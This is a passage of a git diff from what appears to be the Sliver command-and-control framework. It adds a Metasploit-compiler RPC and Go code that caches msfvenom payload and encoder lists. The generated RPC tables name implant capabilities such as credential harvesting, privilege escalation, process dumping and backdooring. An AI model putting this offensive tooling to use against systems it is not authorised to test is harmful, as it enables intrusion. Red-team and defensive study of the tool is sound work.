rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq + 90, // 135: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq + 91, // 136: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq + 92, // 137: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq + 93, // 138: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq + 94, // 139: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq + 95, // 140: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq + 96, // 141: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq + 97, // 142: rpcpb.SliverRPC.StartRportFwdListener:input_type -> sliverpb.RportFwdStartListenerReq + 98, // 143: rpcpb.SliverRPC.GetRportFwdListeners:input_type -> sliverpb.RportFwdListenersReq + 99, // 144: rpcpb.SliverRPC.StopRportFwdListener:input_type -> sliverpb.RportFwdStopListenerReq + 100, // 145: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession + 101, // 146: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession + 102, // 147: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq + 103, // 148: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq + 104, // 149: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq + 105, // 150: rpcpb.SliverRPC.RegisterWasmExtension:input_type -> sliverpb.RegisterWasmExtensionReq + 106, // 151: rpcpb.SliverRPC.ListWasmExtensions:input_type -> sliverpb.ListWasmExtensionsReq + 107, // 152: rpcpb.SliverRPC.ExecWasmExtension:input_type -> sliverpb.ExecWasmExtensionReq + 108, // 153: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq + 109, // 154: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq + 110, // 155: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq + 111, // 156: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq + 112, // 157: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq + 113, // 158: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq + 114, // 159: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq + 115, // 160: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq + 116, // 161: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks + 116, // 162: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks + 117, // 163: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData + 118, // 164: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel + 118, // 165: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel + 119, // 166: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData + 0, // 167: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty + 120, // 168: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version + 0, // 169: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty + 0, // 170: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty + 121, // 171: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure + 0, // 172: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty + 0, // 173: rpcpb.SliverRPC.ImplantHistory:output_type -> commonpb.Empty + 122, // 174: rpcpb.SliverRPC.GetImplantHistory:output_type -> clientpb.History + 123, // 175: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions + 124, // 176: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons + 7, // 177: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon + 0, // 178: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty + 125, // 179: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks + 8, // 180: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask + 8, // 181: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask + 126, // 182: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response + 0, // 183: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty + 127, // 184: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs + 128, // 185: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob + 129, // 186: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener + 130, // 187: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener + 131, // 188: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener + 132, // 189: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener + 132, // 190: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener + 133, // 191: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener + 133, // 192: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener + 15, // 193: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot + 0, // 194: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty + 15, // 195: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot + 15, // 196: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot + 134, // 197: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot + 16, // 198: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials + 0, // 199: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty + 0, // 200: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty + 0, // 201: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty + 17, // 202: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential + 16, // 203: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials + 16, // 204: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials + 17, // 205: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential + 135, // 206: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts + 18, // 207: rpcpb.SliverRPC.Host:output_type -> clientpb.Host + 0, // 208: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty + 0, // 209: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty + 136, // 210: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate + 137, // 211: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig + 0, // 212: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty + 137, // 213: rpcpb.SliverRPC.GenerateExternalGetImplantConfig:output_type -> clientpb.ExternalImplantConfig + 25, // 214: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event + 0, // 215: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty + 138, // 216: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders + 25, // 217: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event + 0, // 218: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty + 0, // 219: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty + 139, // 220: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations + 28, // 221: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask + 0, // 222: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty + 140, // 223: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles + 29, // 224: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile + 0, // 225: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty + 30, // 226: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk + 0, // 227: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty + 0, // 228: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty + 136, // 229: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate + 141, // 230: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds + 0, // 231: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty + 142, // 232: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries + 143, // 233: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig + 144, // 234: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP + 145, // 235: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles + 0, // 236: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty + 33, // 237: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile + 146, // 238: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager + 147, // 239: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI + 148, // 240: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler + 149, // 241: rpcpb.SliverRPC.GetMetasploitCompiler:output_type -> clientpb.MetasploitCompiler + 150, // 242: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode + 151, // 243: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap + 152, // 244: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap + 153, // 245: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests + 0, // 246: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty + 154, // 247: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites + 38, // 248: rpcpb.SliverRPC.Website:output_type -> clientpb.Website + 0, // 249: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty + 38, // 250: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website + 38, // 251: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website + 38, // 252: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website + 41, // 253: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping + 155, // 254: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps + 156, // 255: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate + 157, // 256: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig + 158, // 257: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat + 159, // 258: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls + 160, // 259: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd + 160, // 260: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd + 161, // 261: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv + 162, // 262: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp + 163, // 263: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm + 164, // 264: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir + 165, // 265: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download + 166, // 266: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload + 167, // 267: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod + 168, // 268: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown + 169, // 269: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes + 159, // 270: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls + 170, // 271: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd + 171, // 272: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm + 172, // 273: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump + 173, // 274: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs + 174, // 275: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate + 175, // 276: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf + 176, // 277: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem + 177, // 278: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task + 177, // 279: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task + 177, // 280: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task + 178, // 281: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly + 179, // 282: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate + 180, // 283: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute + 180, // 284: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute + 181, // 285: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload + 182, // 286: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll + 183, // 287: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot + 184, // 288: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner + 185, // 289: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener + 0, // 290: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty + 186, // 291: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners + 187, // 292: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph + 188, // 293: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo + 188, // 294: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo + 188, // 295: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo + 189, // 296: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken + 190, // 297: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo + 191, // 298: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv + 192, // 299: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv + 193, // 300: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor + 194, // 301: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead + 195, // 302: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite + 196, // 303: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey + 197, // 304: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey + 198, // 305: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList + 199, // 306: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList + 200, // 307: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand + 201, // 308: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack + 202, // 309: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs + 203, // 310: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener + 204, // 311: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners + 203, // 312: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener + 100, // 313: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession + 0, // 314: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty + 205, // 315: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension + 206, // 316: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension + 207, // 317: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions + 208, // 318: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension + 209, // 319: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions + 210, // 320: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension + 211, // 321: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward + 211, // 322: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward + 212, // 323: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks + 212, // 324: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks + 213, // 325: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders + 214, // 326: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers + 215, // 327: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell + 216, // 328: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd + 116, // 329: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks + 0, // 330: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty + 117, // 331: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData + 118, // 332: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel + 0, // 333: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty + 119, // 334: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData + 25, // 335: rpcpb.SliverRPC.Events:output_type -> clientpb.Event + 168, // [168:336] is the sub-list for method output_type + 0, // [0:168] is the sub-list for method input_type 0, // [0:0] is the sub-list for extension type_name 0, // [0:0] is the sub-list for extension extendee 0, // [0:0] is the sub-list for field type_name diff --git a/protobuf/rpcpb/services.proto b/protobuf/rpcpb/services.proto index 2ef6bc2f8c..67baf58d6d 100644 --- a/protobuf/rpcpb/services.proto +++ b/protobuf/rpcpb/services.proto @@ -125,6 +125,7 @@ service SliverRPC { rpc MsfStage(clientpb.MsfStagerReq) returns (clientpb.MsfStager); rpc ShellcodeRDI(clientpb.ShellcodeRDIReq) returns (clientpb.ShellcodeRDI); rpc GetCompiler(commonpb.Empty) returns (clientpb.Compiler); + rpc GetMetasploitCompiler(commonpb.Empty) returns (clientpb.MetasploitCompiler); rpc ShellcodeEncoder(clientpb.ShellcodeEncodeReq) returns (clientpb.ShellcodeEncode); rpc ShellcodeEncoderMap(commonpb.Empty) diff --git a/protobuf/rpcpb/services_grpc.pb.go b/protobuf/rpcpb/services_grpc.pb.go index 247e58c04e..875e4a7ac3 100644 --- a/protobuf/rpcpb/services_grpc.pb.go +++ b/protobuf/rpcpb/services_grpc.pb.go @@ -95,6 +95,7 @@ const ( SliverRPC_MsfStage_FullMethodName = "/rpcpb.SliverRPC/MsfStage" SliverRPC_ShellcodeRDI_FullMethodName = "/rpcpb.SliverRPC/ShellcodeRDI" SliverRPC_GetCompiler_FullMethodName = "/rpcpb.SliverRPC/GetCompiler" + SliverRPC_GetMetasploitCompiler_FullMethodName = "/rpcpb.SliverRPC/GetMetasploitCompiler" SliverRPC_ShellcodeEncoder_FullMethodName = "/rpcpb.SliverRPC/ShellcodeEncoder" SliverRPC_ShellcodeEncoderMap_FullMethodName = "/rpcpb.SliverRPC/ShellcodeEncoderMap" SliverRPC_TrafficEncoderMap_FullMethodName = "/rpcpb.SliverRPC/TrafficEncoderMap" @@ -284,6 +285,7 @@ type SliverRPCClient interface { MsfStage(ctx context.Context, in *clientpb.MsfStagerReq, opts ...grpc.CallOption) (*clientpb.MsfStager, error) ShellcodeRDI(ctx context.Context, in *clientpb.ShellcodeRDIReq, opts ...grpc.CallOption) (*clientpb.ShellcodeRDI, error) GetCompiler(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Compiler, error) + GetMetasploitCompiler(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.MetasploitCompiler, error) ShellcodeEncoder(ctx context.Context, in *clientpb.ShellcodeEncodeReq, opts ...grpc.CallOption) (*clientpb.ShellcodeEncode, error) ShellcodeEncoderMap(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.ShellcodeEncoderMap, error) TrafficEncoderMap(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.TrafficEncoderMap, error) @@ -1152,6 +1154,15 @@ func (c *sliverRPCClient) GetCompiler(ctx context.Context, in *commonpb.Empty, o return out, nil } +func (c *sliverRPCClient) GetMetasploitCompiler(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.MetasploitCompiler, error) { + out := new(clientpb.MetasploitCompiler) + err := c.cc.Invoke(ctx, SliverRPC_GetMetasploitCompiler_FullMethodName, in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + func (c *sliverRPCClient) ShellcodeEncoder(ctx context.Context, in *clientpb.ShellcodeEncodeReq, opts ...grpc.CallOption) (*clientpb.ShellcodeEncode, error) { out := new(clientpb.ShellcodeEncode) err := c.cc.Invoke(ctx, SliverRPC_ShellcodeEncoder_FullMethodName, in, out, opts...) @@ -2158,6 +2169,7 @@ type SliverRPCServer interface { MsfStage(context.Context, *clientpb.MsfStagerReq) (*clientpb.MsfStager, error) ShellcodeRDI(context.Context, *clientpb.ShellcodeRDIReq) (*clientpb.ShellcodeRDI, error) GetCompiler(context.Context, *commonpb.Empty) (*clientpb.Compiler, error) + GetMetasploitCompiler(context.Context, *commonpb.Empty) (*clientpb.MetasploitCompiler, error) ShellcodeEncoder(context.Context, *clientpb.ShellcodeEncodeReq) (*clientpb.ShellcodeEncode, error) ShellcodeEncoderMap(context.Context, *commonpb.Empty) (*clientpb.ShellcodeEncoderMap, error) TrafficEncoderMap(context.Context, *commonpb.Empty) (*clientpb.TrafficEncoderMap, error) @@ -2489,6 +2501,9 @@ func (UnimplementedSliverRPCServer) ShellcodeRDI(context.Context, *clientpb.Shel func (UnimplementedSliverRPCServer) GetCompiler(context.Context, *commonpb.Empty) (*clientpb.Compiler, error) { return nil, status.Errorf(codes.Unimplemented, "method GetCompiler not implemented") } +func (UnimplementedSliverRPCServer) GetMetasploitCompiler(context.Context, *commonpb.Empty) (*clientpb.MetasploitCompiler, error) { + return nil, status.Errorf(codes.Unimplemented, "method GetMetasploitCompiler not implemented") +} func (UnimplementedSliverRPCServer) ShellcodeEncoder(context.Context, *clientpb.ShellcodeEncodeReq) (*clientpb.ShellcodeEncode, error) { return nil, status.Errorf(codes.Unimplemented, "method ShellcodeEncoder not implemented") } @@ -4120,6 +4135,24 @@ func _SliverRPC_GetCompiler_Handler(srv interface{}, ctx context.Context, dec fu return interceptor(ctx, in, info, handler) } +func _SliverRPC_GetMetasploitCompiler_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(commonpb.Empty) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(SliverRPCServer).GetMetasploitCompiler(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: SliverRPC_GetMetasploitCompiler_FullMethodName, + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(SliverRPCServer).GetMetasploitCompiler(ctx, req.(*commonpb.Empty)) + } + return interceptor(ctx, in, info, handler) +} + func _SliverRPC_ShellcodeEncoder_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(clientpb.ShellcodeEncodeReq) if err := dec(in); err != nil { @@ -6114,6 +6147,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{ MethodName: "GetCompiler", Handler: _SliverRPC_GetCompiler_Handler, }, + { + MethodName: "GetMetasploitCompiler", + Handler: _SliverRPC_GetMetasploitCompiler_Handler, + }, { MethodName: "ShellcodeEncoder", Handler: _SliverRPC_ShellcodeEncoder_Handler, diff --git a/server/assets/assets.go b/server/assets/assets.go index 68880078b8..cd6a2e61a5 100644 --- a/server/assets/assets.go +++ b/server/assets/assets.go @@ -43,9 +43,7 @@ const ( envVarName = "SLIVER_ROOT_DIR" ) -var ( - setupLog = log.NamedLogger("assets", "setup") -) +var setupLog = log.NamedLogger("assets", "setup") // GetRootAppDir - Get the Sliver app dir, default is: ~/.sliver/ func GetRootAppDir() string { @@ -59,7 +57,7 @@ func GetRootAppDir() string { } if _, err := os.Stat(dir); os.IsNotExist(err) { - err = os.MkdirAll(dir, 0700) + err = os.MkdirAll(dir, 0o700) if err != nil { setupLog.Fatalf("Cannot write to sliver root dir %s", err) } @@ -71,7 +69,7 @@ func GetRootAppDir() string { func GetChunkDataDir() string { chunkDir := filepath.Join(GetRootAppDir(), "crack", "chunks") if _, err := os.Stat(chunkDir); os.IsNotExist(err) { - err = os.MkdirAll(chunkDir, 0700) + err = os.MkdirAll(chunkDir, 0o700) if err != nil { setupLog.Errorf("Failed to create chunk data directory: %s", err) return "" @@ -84,7 +82,7 @@ func GetChunkDataDir() string { func GetTrafficEncoderDir() string { trafficDir := filepath.Join(GetRootAppDir(), "traffic-encoders") if _, err := os.Stat(trafficDir); os.IsNotExist(err) { - os.MkdirAll(trafficDir, 0700) + os.MkdirAll(trafficDir, 0o700) } return trafficDir } diff --git a/server/command/assets/unpack.go b/server/command/assets/unpack.go index f3bbe77b54..6ba65744b9 100644 --- a/server/command/assets/unpack.go +++ b/server/command/assets/unpack.go @@ -22,6 +22,7 @@ import ( "fmt" "github.com/bishopfox/sliver/server/assets" + "github.com/bishopfox/sliver/server/msf" "github.com/spf13/cobra" ) @@ -44,6 +45,7 @@ func Commands() []*cobra.Command { } assets.Setup(force, true) + msf.CacheModules() }, } diff --git a/server/msf/msf.go b/server/msf/msf.go index 18252d7ddf..a6d6e8bd50 100644 --- a/server/msf/msf.go +++ b/server/msf/msf.go @@ -22,10 +22,15 @@ import ( "bytes" "fmt" "net/url" + "os" "os/exec" + "path/filepath" "strconv" "strings" + "sync" + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/server/assets" "github.com/bishopfox/sliver/server/log" ) @@ -102,6 +107,8 @@ var ( } ) +var msfCache = sync.Map{} + // VenomConfig - type VenomConfig struct { Os string @@ -117,6 +124,65 @@ type VenomConfig struct { AdvOptions string } +// CacheModules parses the text output of some our relevant +// Metasploit generation helpers, to be used for completions. +func CacheModules() { + if _, err := exec.LookPath(venomBin); err != nil { + return + } + + msfLog.Infof("Caching msfvenom data (this may take a few seconds)") + + all := sync.WaitGroup{} + + targets := []string{"formats", "archs", "payloads", "encoders"} + + for i := range targets { + all.Add(1) + target := targets[i] + + go func() { + defer all.Done() + + result, err := venomCmd([]string{"--list", target}) + if err != nil { + msfLog.Error(err) + return + } + + fileName := filepath.Join(assets.GetRootAppDir(), "msf-"+target+".cache") + if err := os.WriteFile(fileName, result, 0o600); err != nil { + msfLog.Error(err) + } + }() + } + + all.Wait() + msfLog.Infof("Done caching msfvenom data") +} + +// GetMsfCache returns the cache of Metasploit modules and other info. +func GetMsfCache() *clientpb.MetasploitCompiler { + formats, ok := msfCache.Load("formats") + if !ok { + loadCache() + } + + formats, ok = msfCache.Load("formats") + archs, _ := msfCache.Load("archs") + payloads, _ := msfCache.Load("payloads") + encoders, _ := msfCache.Load("encoders") + + msf := &clientpb.MetasploitCompiler{ + Formats: formats.([]string), + Archs: archs.([]string), + Payloads: payloads.([]*clientpb.MetasploitModule), + Encoders: encoders.([]*clientpb.MetasploitModule), + } + + return msf +} + // Version - Return the version of MSFVenom func Version() (string, error) { stdout, err := consoleCmd([]string{"--version"}) @@ -259,3 +325,119 @@ func Arch(arch string) string { } return "x86" } + +func loadCache() { + msf := parseCache() + + if len(msf.Formats) == 0 { + return + } + + msfCache.Store("formats", msf.Formats) + msfCache.Store("archs", msf.Archs) + msfCache.Store("payloads", msf.Payloads) + msfCache.Store("encoders", msf.Encoders) +} + +// parseCache returns the MSFvenom information useful to Sliver. +func parseCache() *clientpb.MetasploitCompiler { + msf := &clientpb.MetasploitCompiler{} + + if _, err := exec.LookPath(venomBin); err != nil { + return msf + } + + ver, err := Version() + if err != nil { + return msf + } + + msf.Version = ver + + fileName := filepath.Join(assets.GetRootAppDir(), "msf-formats.cache") + if formats, err := os.ReadFile(fileName); err == nil { + raw := strings.Split(string(formats), "----") + all := strings.Split(raw[len(raw)-1], "\n") + + for _, fmt := range all { + msf.Formats = append(msf.Formats, strings.TrimSpace(fmt)) + } + } + + archsFile := filepath.Join(assets.GetRootAppDir(), "msf-archs.cache") + if archs, err := os.ReadFile(archsFile); err == nil { + raw := strings.Split(string(archs), "----") + all := strings.Split(raw[len(raw)-1], "\n") + + for _, arch := range all { + msf.Archs = append(msf.Archs, strings.TrimSpace(arch)) + } + } + + payloadsFile := filepath.Join(assets.GetRootAppDir(), "msf-payloads.cache") + if payloads, err := os.ReadFile(payloadsFile); err == nil { + raw := strings.Split(string(payloads), "-----------") + all := strings.Split(raw[len(raw)-1], "\n") + + for _, info := range all { + payload := &clientpb.MetasploitModule{} + + items := filterEmpty(strings.Split(strings.TrimSpace(info), " ")) + + if len(items) > 0 { + fullname := strings.TrimSpace(items[0]) + payload.FullName = fullname + payload.Name = filepath.Base(fullname) + } + if len(items) > 1 { + payload.Description = strings.Join(items[1:], " ") + } + + msf.Payloads = append(msf.Payloads, payload) + } + } 